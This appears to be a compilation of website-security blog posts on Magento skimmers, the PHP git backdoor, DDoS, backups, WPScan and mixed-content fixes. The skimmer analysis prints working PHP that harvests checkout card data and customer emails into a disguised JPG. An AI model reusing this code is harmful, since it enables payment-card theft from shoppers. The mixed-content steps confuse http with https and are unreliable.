Unfortunately, deleting the ./webpanel/ directory containing the C2 panel interface files did not fix the problem. The attacker knew the website’s cPanel password, so they just re-uploaded the spyware. This is why we always recommend resetting all of your passwords after a compromise, along with any FTP/SSH users: removing the malware is not always enough to cut off unauthorized access to the website.

Conclusion
The infected website that was found hosting the C2 panel happened to share a server with a separate WordPress website with a known vulnerability. By exploiting the vulnerability, the attacker was able to access cPanel and plant their spyware.

This incident highlights the importance of ensuring all website software and extensible third-party components are patched with the latest security updates. If you want to detect malicious behavior and other indicators of compromise on your website, I strongly encourage you to employ file integrity monitoring and alert services.

In the event that your website is suffering from malware reinfections, you can refer to our hacked website guide which outlines steps to remove malware. If you need a hand, we’re always here to help.

Magento 2 PHP Credit Card Skimmer Saves to JPG

Magento 2 PHP Credit Card Skimmer Saves to JPG : Bad actors often leverage creative techniques to conceal malicious behaviour and harvest sensitive information from ecommerce websites.

A recent investigation for a compromised Magento 2 website revealed a malicious injection that was capturing POST request data from site visitors. Located on the checkout page, it was found to encode captured data before saving it to a .JPG file.

Malicious Injection Behavior
The following PHP code was found injected to the file ./vendor/magento/module-customer/Model/Session.php. To load the rest of the malicious code onto the compromised environment, the getAuthenticates function is created and called.


public function getAuthenticates($request)
{
if(empty($request->getPostValue(‘Custom’.’Method’)))
return $this;
$docroot = BP . “/”;
$sid = $request->getPostValue(‘Custom’.’Method’);
if($sid != ‘init’ && $sid != ‘LnByg’ && $sid != ‘LnByd’) return $this;

The code also creates the image file (pub/media/tmp/design/file/default_luma_logo.jpg), which it uses to store any captured data. This feature allows the attacker to easily access and download the stolen information at their convenience while concealing it within a seemingly benign JPG.

$docroot = BP . “/”;
$sid = $request->getPostValue(‘Custom’.’Method’);
if($sid != ‘init’ && $sid != ‘LnByg’ && $sid != ‘LnByd’) return $this;
$fname = $docroot.’pub/media/tmp/design/file/default_luma_logo.jpg’;
try {
if(!file_exists($fname)){
$fhandle = fopen($fname,’w’);fclose($fhandle);
}
$fhandle = fopen($fname,’r’);$content = @fread($fhandle,filesize($fname));fclose($fhandle);

Harvesting Stolen Credit Card Details
To successfully capture the POST data, the PHP code needs to use the Magento code framework. It relies on the Magento function getPostValue to capture the checkout page data within the Customer_ POST parameter.

Using the Magento function isLoggedIn, the PHP code also checks whether the victim that sent the POST request data is logged in as a user. If they do happen to be logged in, it captures the user’s email address.

if( !empty($request-> getPostValue (‘Customer_’))) {
$auth_url = “”;
if($this->isLoggedIn()) {
$auth_url = base64_encode (
$this -> getCustomer() -> getEmail ()
);
}

This captured POST data is encoded with base64 before the PHP operator ^ is used to XOR the stolen information, saving it to the same image file.

$objectdata = $request->getPostValue(‘Customer_’).’#’.base64_encode($ip).’#’.$auth_url;
$i = 0; while($i < strlen($objectdata)){
$txCH = ord($objectdata[$i]);$txCH ^= 0x3C;$txCH -= $i;$objectdata[$i++] = chr($txCH); }
$objectdata = base64_encode($objectdata);
if(strpos($content,$objectdata)===false) {
$fhandle = fopen($fname,’a’);fwrite($fhandle,$objectdata.”\n”);fclose($fhandle);}
return $this;

Nearly all of the information submitted by the victim on the checkout page is stored within the Customer_ parameter, including full names and addresses, payment card details, telephone numbers, and user agent details.

This data is extremely valuable for the attacker. Not only can it be used for credit card fraud, but also spam or targeted phishing campaigns.

Conclusion & Mitigation Steps
Bad actors are always actively searching for new methods to prevent any detection of their malicious behavior on compromised websites. The creative use of the fake .JPG allows an attacker to conceal and store harvested credit card details for future use without gaining too much attention from the website owner.

While this approach may make the infection difficult to initially spot, website owners who implement website monitoring services or integrity control checks will have a much easier time detecting changes or additional new files in their environment.

How Hackers Exploite PHP Repository Modify source code

How Hackers Exploite PHP Repository Modify source code – The official PHP git repository, https://git.php.net/, was compromised this Sunday, March 28.

An attacker was able to modify the PHP source code twice and inject a backdoor into it. Thankfully, both attempts were quickly detected and removed by the PHP team.

Per a statement released in PHP’s internal mailing list, the current investigation believes the git.php.net server itself has been compromised rather than the individual’s account.

Everything points towards a compromise of the git.php.net server.

To prevent this from reoccurring, the official git repository will switch from their own git.php.net to the mirror on github.

While investigation is still underway, we have decided that maintaining our own git infrastructure is an unnecessary security risk, and that we will discontinue the git.php.net server.

Are you safe?
Yes. While the PHP repository itself may have been exploited, the backdoor left by the attacker was found before its malicious code reached a PHP release, meaning no released versions of PHP included this backdoor.

The PHP team is currently reviewing the repositories to ensure that no other modifications were made by the attacker, but nothing has been found up to now.

According to the latest online sources, expert can confirm that the official PHP git repository, at https://git.php.net/, was the target of two malicious attacks made on 2021-03-28. Hackers pushed the two malicious exploits to the php-src repo from Rasmus Lerdorf and Nikita Popov’s names. It is unknown how exactly this happened, but everything points towards hackers compromising the git.php.net server (rather than compromising any individual git account).

Trusted partners continues to be a reliable source of news. After our latest blog post about cybersecurity, we continue the trend of reporting the major news that our clients and other interested parties should keep an eye out for. Please keep reading to find out more about this incident as it develops!

What did the hackers do?

Everything points towards a compromise of the git.php.net server. Hackers pushed the backdoored code on the server under the guise of a very minor and inconspicuous edit. The malicious attackers pushed the two commits to the php-src repo for the popular scripting language. This backdoor would have allowed them to perform remote code execution (RCE), PHP maintainers revealed in an official statement. These unknown chaos agents would have used the backdoor for the remote takeover of any website that uses PHP. Maintainers are now reviewing the repositories for any signs of further compromise.

The security incident can be described as a supply-chain attack. Threat actors will target an open-source project, library, or another component that is relied upon by a large user base. By compromising one core target, it may be possible for malicious code to trickle down to a wide-reaching number of systems.

A recent example is the SolarWinds fiasco, discussed in our previous blog post, in which the vendor was breached, and hackers planted a malicious update for its Orion software. Once malicious users deployed this malware, tens of thousands of organizations were compromised, including Microsoft, FireEye, and Mimecast.

An investigation is still underway with no confirmed reports pointing to the identity of the attacker.

The malicious code includes reference to ‘Zerodium,’ a US company known for buying zero-day exploits. The company has so far denied involvement. In a tweet Zerodium CEO said:

“Cheers to the troll who put ‘Zerodium’ in today’s PHP git compromised commits. Obviously, we have nothing to do with this. Likely, the researcher(s) who found this bug/exploit tried to sell it to many entities, but none wanted to buy this crap, so they burned it for fun.”

Zerodium CEO Chaouki Bekrar
Repercussions of the attack
Hackers exploit GitHub.
While preliminary investigations are still underway, PHP maintainers have decided that maintaining their own git infrastructure is an unnecessary security risk at this time. In the interest of cybersecurity and to prevent other hackers from interfering, they will discontinue the git.php.net server. As of right now and indefinitely. Instead, the repositories on GitHub, which were previously only mirrors, will become canonical. This means that in the future, they should push changes directly to GitHub rather than to git.php.net.

Previously the write access to repositories handles through their home-grown karma system. You will now need to be part of the PHP organization on GitHub. If you are not part of the organization yet or don’t have access to a repository you should have access to, contact Nikita Popov at nikic@php.net with your php.net and GitHub account names, as well as the permissions you’re currently missing. Membership in the organization has to have 2FA turned on. This change also means that it is now possible to merge pull requests directly from the GitHub web interface.

Have the hackers left Github users unsafe?
Hackers may indeed have exploited the PHP repository itself. However, PHP maintainers found the backdoor left by the attacker(s) early. This was way before its malicious code could have reached the latest PHP release. This means that no released versions of PHP included this backdoor. This has prevented what could have been a major disaster for the global online community. According to a Web Technology Surveys study, PHP is thought to underpin almost 80% of all websites. This includes all WordPress sites, which are built on PHP.

The PHP team is currently reviewing the repositories to ensure that no other modifications were made by the attacker(s), but nothing has been found up to now. People will continue to monitor the situation further to provide you with updates as it develops further. We are quite eager to hear the results of the investigation!

In the wake of the Microsoft Exchange Github Scandal
This wasn’t the only cybersecurity alert that has happened for Github in the recent past. After security researcher Nguyen Jang posted a proof-of-concept exploit on GitHub that abuses a Microsoft Exchange vulnerability revealed earlier, GitHub, which is Microsoft-owned, removed the code to the alarm of security researchers worldwide.

The PoC code, something short of an actual functioning exploit, consisted of a 169-line Python file. It took advantage of CVE-2021-26855, a Microsoft Exchange Server flaw that allows an attacker to bypass authentication and act with administrative privileges. The bug, referred to as ProxyLogon, was one of four Microsoft Exchange zero-days that Microsoft patched in an out-of-band release on March 3, 2021. It’s part of the “Hafnium” attack that prompted a US government warning last week, which we’ve also discussed in our previous blog post.

Jang posted a write-up of his work, in Vietnamese, with a link to the code on GitHub. And a few hours later, the link to the code on GitHub no longer functioned.

It is safe to say that this bodes some concern over Microsoft’s ability to handle cybersecurity threats and its ability to hold wholesome interactions with cybersecurity researchers and experts. We’ll have to monitor how the giant techno-corp will react and adapt to this uncertain and dangerous climate. We wish them luck and success in this endeavor!

Closing Remarks

Expect us to be following the trends in cybersecurity in future blog posts as well. There is a lot to cover and currently happening across the world. The timing isn’t great either, given the rest of the issues the denizens of Earth are currently experiencing as a global society and the Covid-19 pandemic.

The last thing we need is an unstable world wide web filled with threat actors looking to exploit big corporations and regular internet users in criminal and malicious ways. Unfortunately, that is what the current climate is showing us. Regardless this is an opportunity for companies to raise awareness about these issues and be part of our global efforts to innovate and adapt to these new challenges.

Furthermore all people want to assure you that we have not been impacted by these cybersecurity threats as of now and are only reporting them to make sure our clients are well-informed about the state of the digital world.

How Do Websites Get Hacked Regularly

How Do Websites Get Hacked Regularly – As much as the web has grown, surprisingly not a lot has changed in how websites get hacked.

The most important thing you can do in keeping the web – and your own sites and visitors – safe is to understand these unchanging truths and hold them close to heart.

Consider the Scale of Hacked Websites
1.2 billion sites make up today’s World Wide Web. Assuming a 3-second load time, continuous queries, and not a wink of rest, it’d take you over 160 years to just see every site that currently exists.

That’s a colossally large web, and it’s impossibly large to keep watch over. Google’s Safe Browsing attempts to warn users about unsafe websites. It currently delivers around 3 million warnings a day.

Of the sites scanned by our own technology, between 1-2% have some Indicator of Compromise (IoC) that signifies a website attack.

While that percentage may seem small, let’s extrapolate it across the total number of sites. It indicates that somewhere in the neighborhood of 12 million websites are currently hacked or infected. That’s about the size of the populations of New York City and Los Angeles combined.

Websites will always be a target for hackers. And the impact of a hack can be devastating to a business.

The good news? Although the threat is big, persistent and harmful, awareness of how hacks occur goes a long way to ensure your sites stay safe.

So, How Do Websites Get Hacked?
Over decades of web history, we see hacks almost always fall into three categories:

Access control
Software vulnerabilities
Third-party integrations
It doesn’t matter if you’re a Fortune 500 company or a local cupcake bakery, how hackers approach a target looks very similar.

What can vary is how a business let itself become exploitable in the first place:

For large organizations, I often hear something like, “I thought someone else was handling it.” There’s a fog that can naturally develop in complex organizations.
For small businesses, it often boils down to, “I don’t understand why anyone would even want to target me.” It’s easy to lose sight of just how much private info can be skimmed from even a simple site.
In both cases, hackers have the tools and incentives to act in areas where vigilance isn’t high.

A Website Environment Has a Lot Going On
Before we dig into the specifics of each form of hack, let’s set an important foundational point for how the web itself works:

Every website relies on a series of interconnected systems working in unison.

There are components like the Domain Name System (DNS) – the thing that tells requests where to go. There’s the actual web server, which houses various website files and processes requests. And there’s the infrastructure that houses various web servers and networks them to the internet.

As simple as it all ends up looking for users these days, the ecosystem underneath is still fairly complex.

Many of the individual nodes are provided by specialized service providers. And even if you’re getting a number of them provided by a single provider, there are still numerous parts that function uniquely. It’s similar to how a modern car looks streamlined and solid on the outside, but has all kinds of moving pieces making it run underneath the hood.

While I won’t dive into too many details about the threats that these particular elements introduce, please understand that every component has an impact on your overall security posture. They all potentially contribute to how your website gets hacked.

Access Control
Access control speaks specifically to the process of authentication and authorization; simply put, how you log in.

When I say that, I mean more than just your website’s user login. Like we established in the previous section, there are a number of interconnected logins tied together behind the scenes.

Here are a few areas to think about when assessing access control:

How do you log into your hosting panel?
How do you log into your server? (i.e., FTP, SFTP, SSH)
How do you log into your website? (i.e., WordPress, Drupal, Magento)
How do you log into your computer?
How do you log into your social media forums?
How do you store your credentials for all these things?
Access control is easy to overlook, but each point can offer access to the whole system. Think of it like the person that locks their front door but leaves windows unlatched and the patio door unlocked. A secure front door won’t matter much if someone wants to get in.

Hackers also utilize a number of tactics to obtain access to insecure login points. To continue the analogy of home security: This looks like a thief checking all the potential entrances and sneaking – or straight-up conning – copies of your keys and passcodes.

Brute force attacks are the simplest – but can still be simply effective. The attacker attempts to guess the possible username and password combinations in an effort to log in as the user.
Social engineering attempts are growing in prevalence. Hackers build phishing pages designed to trick someone into entering an ID/username and password combination.
Cross-Site Scripting (XSS) or Cross-Site Request Forgery (CSRF) attacks entail intercepting user credentials via their own browser.
Man in the Middle (MITM) attacks are also fairly common, where your username and password are intercepted as you work via insecure networks.
Keyloggers and other monitoring malware track user inputs and report them back to the source of the infection.
Regardless of the style of attack, the goal is the same: Get direct access via logins.

Software Vulnerabilities
Based on the typical site owner, I’d argue that 95% are unable to address today’s software vulnerabilities unless a security patch is recommended to them. Even everyday developers rarely account for the threats their own code introduces.

There’s an inherent philosophical disconnect between people who build sites and those that hack them. Builders – and honestly, most people – use things the way they’re designed to be used. But a hacker’s perspective looks for the ways to use things beyond how they’re designed.

A bug that may not affect the intended user experience in any way can potentially be exploited to make software do something very different than it’s intended. The sharpest hackers read these bugs as vulnerabilities.

The most common forms these take for websites? By using a malformed Uniform Resource Locator (URL) or POST Header, a hacker enacts a number of attacks. A few key examples:

Remote Code Execution (RCE) allows complete remote takeover of the target system and site.
Remote / Local File Inclusion (R/LFI) uses user-supplied input fields to upload malicious files into a system.
SQL Injection (SQLi) manipulates text input fields with malicious code that sends attack sequences to the server. This has been very common lately!
Just like asset control, software vulnerabilities also extend beyond the website itself, though. They can be discovered and exploited in all the interconnected technologies a site relies on (i.e. web server, infrastructure, and even web browsers). Most modern sites use a mix of third-party extensions – like themes and plugins. Every one of those should be considered a potential point of intrusion.

Think of it this way: All systems contain potential software vulnerabilities waiting to be exploited.

Third-Party Integrations / Services
Last but not least, we see exploits through third-party integrations/services.

Most prominently, these take form as ads via ad networks that lead to malvertising attacks.

These can involve services that you use specifically with your site and its hosting, including things like Content Distribution Networks (CDN) – as in a major Washington Post hack.

Third-party integrations and services themselves provide efficient interconnection between parts of your site-management experience – it’s one thing people love about highly extensible Content Management Systems (CMS) like WordPress, Joomla!, and Drupal. But there’s that tricky word again! Those points of interconnectedness also provide an additional point for hackers to exploit.

A big problem in the exploitation of third-party integrations and services is that they’re beyond the website owner’s ability to control. As a site manager or builder, you put a lot of trust in a third-party provider when you utilize a service integration. And many work diligently to secure the integration.

But like everything else, there’s an inherent risk here – and one that hackers have an eye on.

How to Protect Your Website
Feeling overwhelmed? Like it’s all hopeless?

Remember that half of the website security battle is awareness and education.

Just reading this post sets you up to better secure your sites. And I’m glad we were able to get this far together!

There are next steps, though. And our goal is to help you achieve those next steps. Unfortunately, it’s often only after someone feels the pain of a compromise that they diligently protect their sites and visitors.

So, I highly encourage you to get ahead of that pain and make these next points a checklist going forth.

My core recommendations to prevent hacks to your site:

Employ Defense in Depth principles. This means building layers of security like an onion: Each security practice makes it harder for hackers to get a clear shot into your system.
Leverage the Least Privileged best practice. Limit what each user login can access to only what it needs.
Establish Multi-Factor and Two-Factor Authentication wherever possible. This further secures those user access points.
Use a Website Firewall. This works wonders in limiting the exploitation of software vulnerabilities. (Focus on Known and Unknown Attacks.)
Schedule regular Backups. Try to have at least 60 days available, so you can safely “rewind” in case your site is compromised.
Get perspective from search engines. Google Search Console and Bing Webmaster Tools both provide reports on their view on your site’s security.
I always tell website owners that security is about risk reduction not risk elimination.

Understand that there’s no such thing as a 100% solution to staying secure. Almost all the tools you employ within your environment aim to reduce your overall risk posture – whether it’s continuous scanning or a more proactive approach such as mitigating incoming attacks.

Security is not a singular event or action, but rather a series of actions. It begins with good posture, and that responsibility ends with you.

Now that you know the How, you will inevitably come across one of the scenarios I described above. But recognizing those attempts will help you prevent and remediate them.

A Little Tasks To Do : Back Up All Your Data

Today is World Backup Day. This date was created to remind people of the importance of having backups set up for everything that matters. I am pretty sure your website falls into the category of precious digital assets.

Why are website backups important?
Imagine waking up in the morning to see that a couple of calls were missed and your email is overloaded with messages saying that your website is down. You go to your computer to check your server and it’s working fine – but oh no, all your files are deleted from the database. What would you do?

Backing up everything may seem a boring task, however, website backups can be a life saver.

Website backups represent your safety net. They are the critical piece of security necessary if all other resources fail.

Backups & spare tires
Every car has a spare tire even though it usually is something you never use and forget about. Spare tires tend to be hidden in some obscure cavity of your trunk or strapped to the underbelly of your vehicle. Nevertheless, having a spare tire allows you to drive without fear, knowing that when you do have a flat tire, you also have a safety net.

We can think of website backups in the same way. They are your safety precaution for when your website has a problem and you have no idea how to fix it.

Just like having an extra tire, a website backup can help you recover your website after a security incident.

It’s important to have website security tools in place to protect your site from hackers, or to detect if a hacker has gained entry to the site. These tools, however, will not be enough if the hacker is able to gain access and overwrite or remove your files.

What is described above can be called the worst-case scenario. No matter what security tools you use, the risk of being hacked is never going to be zero. If it happens to your website, even a great website security platform can’t restore broken or missing content without you having a backup solution implemented in the first place.

Once your website files are overwritten or deleted, there is no way to recover them unless you have a backup. In that regard, backups are in many cases, a lifesaving solution.

What do website backups do?
Backups make a complete copy of website files and your database on a daily basis (the default frequency) so that the website owner can restore their website to the state it was previously. Nevertheless, backups should not be the only security measure taken.

Though backups revert your site content to the last backup made, any content uploaded in between time will be lost. Also, backups cannot be used to fix the originating problem or prevent your website from reinfection.

That is why we recommend that you take a proactive role in website security. Protect your website with a Website Application Firewall so that your site does not get hacked in the first place.

Why Are Backups Important?
Backups were designed to recover your system to its last known good state, or configuration setting.

In a this webinar on preventing data loss with backups, we explain how backups enhance your security strategy and why it shouldn’t be considered a replacement for having a website security solution

How can I choose a good website backup solution?
Here are the main requirements you should look for when choosing a backup solution:

Location: off site
We often see customers saving backups on the web server in zip files that read: backup_xxxx.zip.

Unfortunately, that is not a good option. Attackers can delete these zip files easily if they gain access to the environment.

As is everything else in an unprotected web server, backups can be infected with malware.

Off-site backups are a smart solution because not only do they protect your stored data from hackers, they are also protected from hardware failure.

Automation: so you don’t have to remember
Our daily lives are very busy. It can be easy to forget about creating a backup, or postpone the task because a backup was done a month ago.

However, if you generate a lot of content, we suggest creating a backup schedule that matches your website update needs. This way, you never run the risk of losing any of your important website content. By doing so, you also decrease the amount of backups, if you tend to update your website less frequently.

When searching for a backup solution, bear in mind that automation is a must. Backups that are not automated cannot be 100% guaranteed to get the job done.

Redundancy: backups in multiple locations
A good backup strategy needs to have redundancy, meaning, have backups of your backups. When it comes to preventing data loss, two spare tires is always better than having one.

Testing: make sure your website backups work
Nobody wants to find their spare tire flat when they need it most. To avoid this with your files and data, we advise you to test your backups and make sure they work well.

Follow these simple steps:

Use a test domain,
Open an empty web directory,
Use your backups to retrieve your lost data,
Get your website online using the backup files.
The website backup solution
In order to help our customers have an efficient and affordable backup solution, we have created our own Website Backups product.

The benefits of the Backup include:

File system backed up over FTP, sFTP or sFTP (SSH-key)
Database auto-detection for well known CMSs like WordPress, Joomla, vBulletin, Magento, Drupal
Customer support
Download backups from the dashboard
Automatic backup schedule: daily, weekly, or monthly at specific time
Alerts on failure to backup
Skip directories if needed
Backups organized by date
Off-site storage in the cloud infrastructure
Platform agnostic configuration for any website
Full initial backup of all your website files
Retain backups for 90 days
Restore complete backup by date
Quick and easy recovery process
One of our latest Backups update is the One-Click Auto Restore feature that makes restoring backups a quick and simple task.

Our customers asked for a Selective Auto Restore feature in our Backups Solution. We have just implemented this new feature that enables auto restore for selected files without restoring the full website.

When your website has been reconfigured and an initial backup has been created, you can easily restore your website in just a few clicks from the Backups Dashboard.

Our remote disaster recovery solution is currently available to website owners using the Platform or Firewall. The backup service is platform agnostic, allowing it to support websites built on any technology. It operates seamlessly in the background, providing continuous backups at whatever frequency desired.

Conclusion
No matter which website backups solution you choose, make sure to have one. It is better to have a plan if the worst-case scenario happens to your website.

How to Know If The Website Are Under DDoS Attack

How to Know If The Website Are Under DDoS Attack – Nowadays, the term DDoS probably raises the heart rate of most webmasters. Though many don’t know exactly what a DDoS attack is, they do know the effect: an extremely sluggish or shut-down website.

In this article, we’ll focus on how to know if your website is under attack and how to protect it.
How to Know If The Website Are Under DDoS Attack –

Hopefully, we can help you handle DDoS attacks without having a full blown meltdown.

What is a DDoS Attack?
DDoS stands for Distributed Denial of Service. Like the name implies, a DDoS attack focuses on damaging a service such as:

a website
an internet service provider (ISP)
the Nasdaq Stock Market
a NASA probe
a game server
Practically anything connected to the internet is a potential target.

The same goes for the source of DDoS attacks: Common culprits include hacked web servers and “internet of things” devices like smart appliances, routers, and even CCTV cameras.

Causes can be accidental or intentional. But a large criminal industry has grown around offering DDoS attacks as a service. There’s a market for attacks on sites, including competitors looking to tarnish others’ reputations and those denying online presence for political reasons.

A DDoS attack simply works like this: An attacker uses a number of machines across the internet (or what’s called a “botnet”). Those machines send a high volume of fake traffic to the target site, all in an attempt to overload server resources and bring the site down.

There are many types and sizes of DDoS attacks and they can be devastating regardless of their size. Even an attack from a single system (DoS) can paralyze a site, so consider the ruthless efficiency of a multi-system attack through DDoS. A powerful DDoS can be as tiny as one request per second, and it can still have devastating effects on a website.

Some services are specifically targeted. Interestingly though, the process is largely automated, and most sites affected are randomly selected. Of course, this doesn’t matter if you’re a target. Regardless of the reason, the results can be detrimental, especially for an ecommerce website.

If you want to know more about the types of DDoS attacks, read our guide on what a DDoS attack is.

What Are the Signs of a DDoS Attack?
There are two key indications that you might be facing a DDoS attack:

When the website is unavailable
When it takes a long time to access the website
If you’re seeing these website latency issues unexpectedly, it’s time to investigate.
How to Know If The Website Are Under DDoS Attack –

Legitimate Traffic or a DDoS Attack?
Since a DDoS attack generates lots of traffic toward your site, it creates a tricky predicament. How can you tell if your site is just suddenly doing really well (traffic-wise) or if you are currently experiencing a DDoS attack?

If a site goes down due to a spike in legitimate traffic, then the time frame would generally only be for a short while until you’re back up and running again. Sustained spikes in traffic are rarely random, and you’d likely be able to identify reasons for it in legitimate cases. Say, a major advertising campaign or a piece of viral content.

But more subtle attacks aren’t as simple to discern. Let’s say an online retailer with blackhat-hacking skills wants to keep people away from a competitor’s website without them being aware of it. The hacker can DDoS the competitor’s website a few times a day – potentially at random periods throughout the day just to make the competitor’s customers upset with how slow the website is. If the hacker’s server threw 500 hits per day (nothing out of the ordinary), the site wouldn’t be down for more than a few seconds, in intervals. Even mild DDoS attacks like this one hurt the victim’s business and reputation.

Generally, the best way to examine a potential DDoS attack is through analytic tools. Check to see if a specific traffic source continues to query a certain set of data long after the Time To Live (TTL) for the site has elapsed. (This is the time frame that you set for your site to discard held data and free up resources.) If that’s the case, you’re likely looking at a DDoS attack, since legitimate traffic won’t behave in this way.

What Does a DDoS Attack Look Like? (An Example)
To give you an idea of what an attack looks like, we developed this live example of a website being DDoSed. You can watch how the server resources are depleted and how this disrupts the website’s performance in a matter of minutes.

After watching the video, you’ll be able to better recognize the traits of an attack on your own sites.

How to Defend Against a DDoS Attack
These steps defend your site against DDoS attacks:

Monitor your website activity.
Track your network activity carefully so you can recognize when anything is amiss. This will help you identify traffic spikes and if a DDoS attack might be occurring.

Improve your website capacity.
Mitigate the effects of any traffic spike by having a high enough capacity to maintain good site performance through it. Hosting solutions with higher levels of processing and memory resources – or ones that can automatically scale – handle load better than lower levels. And a content delivery network (CDN) helps offload some of the weight, too.

Use a website security provider.
Many companies reasonably decide that they do not want to deal with the DDoS challenge internally, so they partner with third parties, such as Sucuri.

Use a Web Application Firewall.
As an example, the DDoS mitigation feature of the Sucuri website firewall automatically blocks fake traffic and requests from malicious bots, without interfering with your legitimate traffic. Our cloud-based network can mitigate large network attacks (Layer 3 & 4), and we specialize in handling Layer 7 attacks against web applications.

Consider the impact if unprepared.
While most of these safeguards do increase your investment in security, the cost is usually much smaller than the financial impact of a DDoS attack (or any other hacking attempt). An attack on an ecommerce business during the holiday shopping season can break the entire company’s profitability for the year.

Conclusion
In conclusion, while DDoS attacks may be a common occurrence, it does not mean that you need to accept it as a part of your company’s online presence.

How to Know If The Website Are Under DDoS Attack –

Regular monitoring of your system, mitigation preparations, and outer defense – through the use of a Web Application Firewall – will render this attack impotent. You can continue to move your company forward without the fear of any setbacks.

When it comes to attacks against your livelihood, it is always better to be proactive than reactive.

How to Install the WordPress Vulnerability Scanner

How to Install the WordPress Vulnerability Scanner – What does your WordPress site look like to hackers? Would it be tough to crack? Or does it have unlocked doors and unlatched windows just waiting for someone to try them? If you want to run a security test on your WordPress site that’ll reveal its weaknesses, get familiar with WPScan.

Even though most hackers don’t have insider knowledge of your site’s weaknesses, there’s a lot they can figure out based on its publicly visible code. WPScan tests your site with a similar approach – what’s called black-box testing.

The result: WPScan gives you an understanding of what vulnerabilities hackers can find. It’s effectively a checklist of things to (quickly) seal off.

Feels pretty useful, right?

What Does WPScan Cost?
WPScan essentially utilizes a freemium model. (This wasn’t always the case.)

The scanner itself is largely free to use. At its base level, it will use enumeration to display discoverable information like usernames, plugins, and themes being used.

In order to check vulnerabilities, you’ll need access to the WordPress Vulnerability Database API. This also starts at no cost. But as you need to scan more sites – or more complex sites – you’ll want to upgrade your plan. (More on this in a bit.)

How to Install WPScan
WPScan ships as a Ruby gem. So, if you have Ruby installed, it’s as simple as running this command:

gem install wpscan

An Alternate for Mac Users
Newer versions of MacOS make the process a bit tougher due to System Integrity Protection – security technology to protect you from malicious software.

There are a few ways to work around this – including temporarily disabling SIP. The simplest route may be to use a package manager like Homebrew, installed with this command in Terminal.

/bin/bash -c “$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)”

From there, your WPScan install command will simply become:

brew install wpscan

Getting Started on Windows
If you don’t already have Ruby installed, start with this installer. Once you’ve done that, you’ll use the original command:

gem install wpscan
Using Docker?

You can pull the repo using this command:

docker pull wpscanteam/wpscan
Always Update WPScan
If you don’t have the most up-to-date version of the software, you won’t find the most critical vulnerabilities. WPScan constantly updates the database to keep you fully informed of identifiable vulnerabilities. 514 new vulnerabilities were added over the course of 2020!

So, be sure to run this command before any scans:

gem update wpscan
Or if you used the Homebrew method for Mac:

brew upgrade wpscan
How to Access the WordPress Vulnerability Database API
While it’s technically optional, this database is really the primary value in using WPScan.

In order to utilize the API, you need to register on WPScan’s site. You’ll then receive an API token, which you’ll add to any scans you make.

You’ll then receive the vulnerabilities details associated with your scan by including this at the end of your command:

–api-token YOUR_TOKEN
Of course, without this command, you won’t get the vulnerability information.

How to Decide on a Plan
Your scans will make one API request for each of these:

WordPress version
Installed plugin
Installed theme
Considering this, fully scanning a WordPress site with a theme and 12 plugins would require 14 API requests.

WPScan estimates that the average WordPress site has 22 installed plugins. So, the Free plan of 25 API requests should typically work. If you have more plugins on your site or need to scan multiple sites each day, you’ll want to upgrade your plan accordingly. Once you have WPScan installed and have your API token, the next step is simply to start scanning.

How to Fix Mixed Content Issues with SSL / HTTPS

How to Fix Mixed Content Issues with SSL / HTTPS : Note: We’ve updated this post to reflect the evolving security standards around mixed content, SSLs, and server access as a whole.

With the web’s increased emphasis on security, all sites should operate on HTTPS. Installing an SSL allows you to make that transition with your website. But it can also have an unintended consequence for sites that have been operating on HTTP previously: Mixed content warnings.

Today, let’s look at these common errors, what causes them, and how you can fix them.

What is Mixed Content?
Mixed content warnings happen when a site’s content loads through a mix of HTTP and HTTPS connections.

Typically this takes the form of the initial HTML loading via HTTPS, and then various content resources loading through HTTP.

When a browser detects mixed content, it will alert the user and potentially block the content. Here’s an example of what that might look like:

Why Does Mixed Content Matter?
Quite plainly, mixed content presents a security vulnerability. Since the communication on the HTTP connections is insecure, attackers can replace content on the website without any indication for the visitor, eavesdrop on users, and even take control of the site itself in certain cases.

Browsers increasingly take a defensive stance against mixed content. By that, I mean they’ll block access to the non-secure content or the site itself.

Scripts, iframes and stylesheets likely get outright blocked. With audio and video, a browser may try to load the asset via HTTPS first – and then block the content if it can’t. Images might still load, but deliver a warning.

In any case, your site visitors won’t experience your site as intended – or maybe not experience your site at all.

So, if you see mixed content warnings on your site, addressing the issue should be high on your priority list.

What Causes Mixed Content Warnings?
We most frequently see mixed content warnings on sites with heavy use of site assets – especially external ones – like images, media files, JavaScript, and even CSS.

Why? Two primary reasons:

URLs to those files are hardcoded in the site
Default configurations load these assets over HTTP
So, when a site gets updated to HTTPS those paths still link to the HTTP version.

As far as how that looks in a site’s code: This can happen when the absolute URL path is set, instead of relative paths for images, CSS, or JavaScript files.

Absolute path:


Relative path:


How Do I Unblock Mixed Content?
Every browser that allows for unblocking mixed content will also provide a tutorial on how to do it. However, given what we’ve learned about the potential malicious use of mixed content, I can’t recommend doing this. Even if your site has a small user base who you could instruct to unblock the mixed content, you’re opening them up for a potentially harmful attack.

In the end, putting in a little effort to fix the issue will be easier than trying to avoid it!

How to Fix Mixed Content in WordPress
Use the really-simple-ssl Plugin
If you’re using the WordPress CMS, you are in luck because you can make use of the really-simple-ssl plugin. It will automatically fix all your schemes and redirect HTTP to HTTPS on your behalf.

There’s a premium version as well, which will report on any mixed content issues that couldn’t be resolved automatically, fix back-end issues, add security headers, and more.

After installation and activation, the tool will show you the following screen:

The tool will automatically log you out of WordPress and force HTTPS on your website.

Note: For WordPress users, one of my all-time favorite resources to point to is on the ManageWP blog – WordPress SSL Settings and How to Resolve Mixed Content Warnings. I encourage you to give it a review as it provides a number of great discussion points.

How to Find and Fix Mixed Content Issues in Generic Files
If your site’s CMS template and/or files are in HTML or PHP files, you can find and fix mixed content issues by conducting the following steps:

  1. Conduct a Mass Search
    If you know how to use terminal commands, a grep command can help you identify every file that references a https://. Be sure to be in the root of your website (i.e., /public-html/, /www/html/, etc..):

$ grep -r “https://yourdomain.com/”

If you’re looking for a less technical way to assess your site, run a scan with a tool like WebPageTest. In the results, look for content elements that do not show up with a padlock next to them (like number 2 in this screenshot).

  1. Replace Your Content
    You’ll then change all references to https:// to include https://.

How to Find and Fix Mixed Content Issues in Your Database
Depending on the platform you choose, your website technology might dynamically render the asset locations in the database. So you’ll want to go directly to the database and update all protocol references.

Here are some quick tips to find and fix mixed content in your database:

Get a Database Search and Replace Tool to Identify and Replace Mixed Content
There is a great tool called Database Search and Replace, built by Interconnected/IT. As the name implies, it allows you to do a quick search of your database, replacing values as needed. Of course, be careful.

Configure Database Search and Replace
Download the Database Search and Replace tool at the root of your website:

[root@server [domain directory]

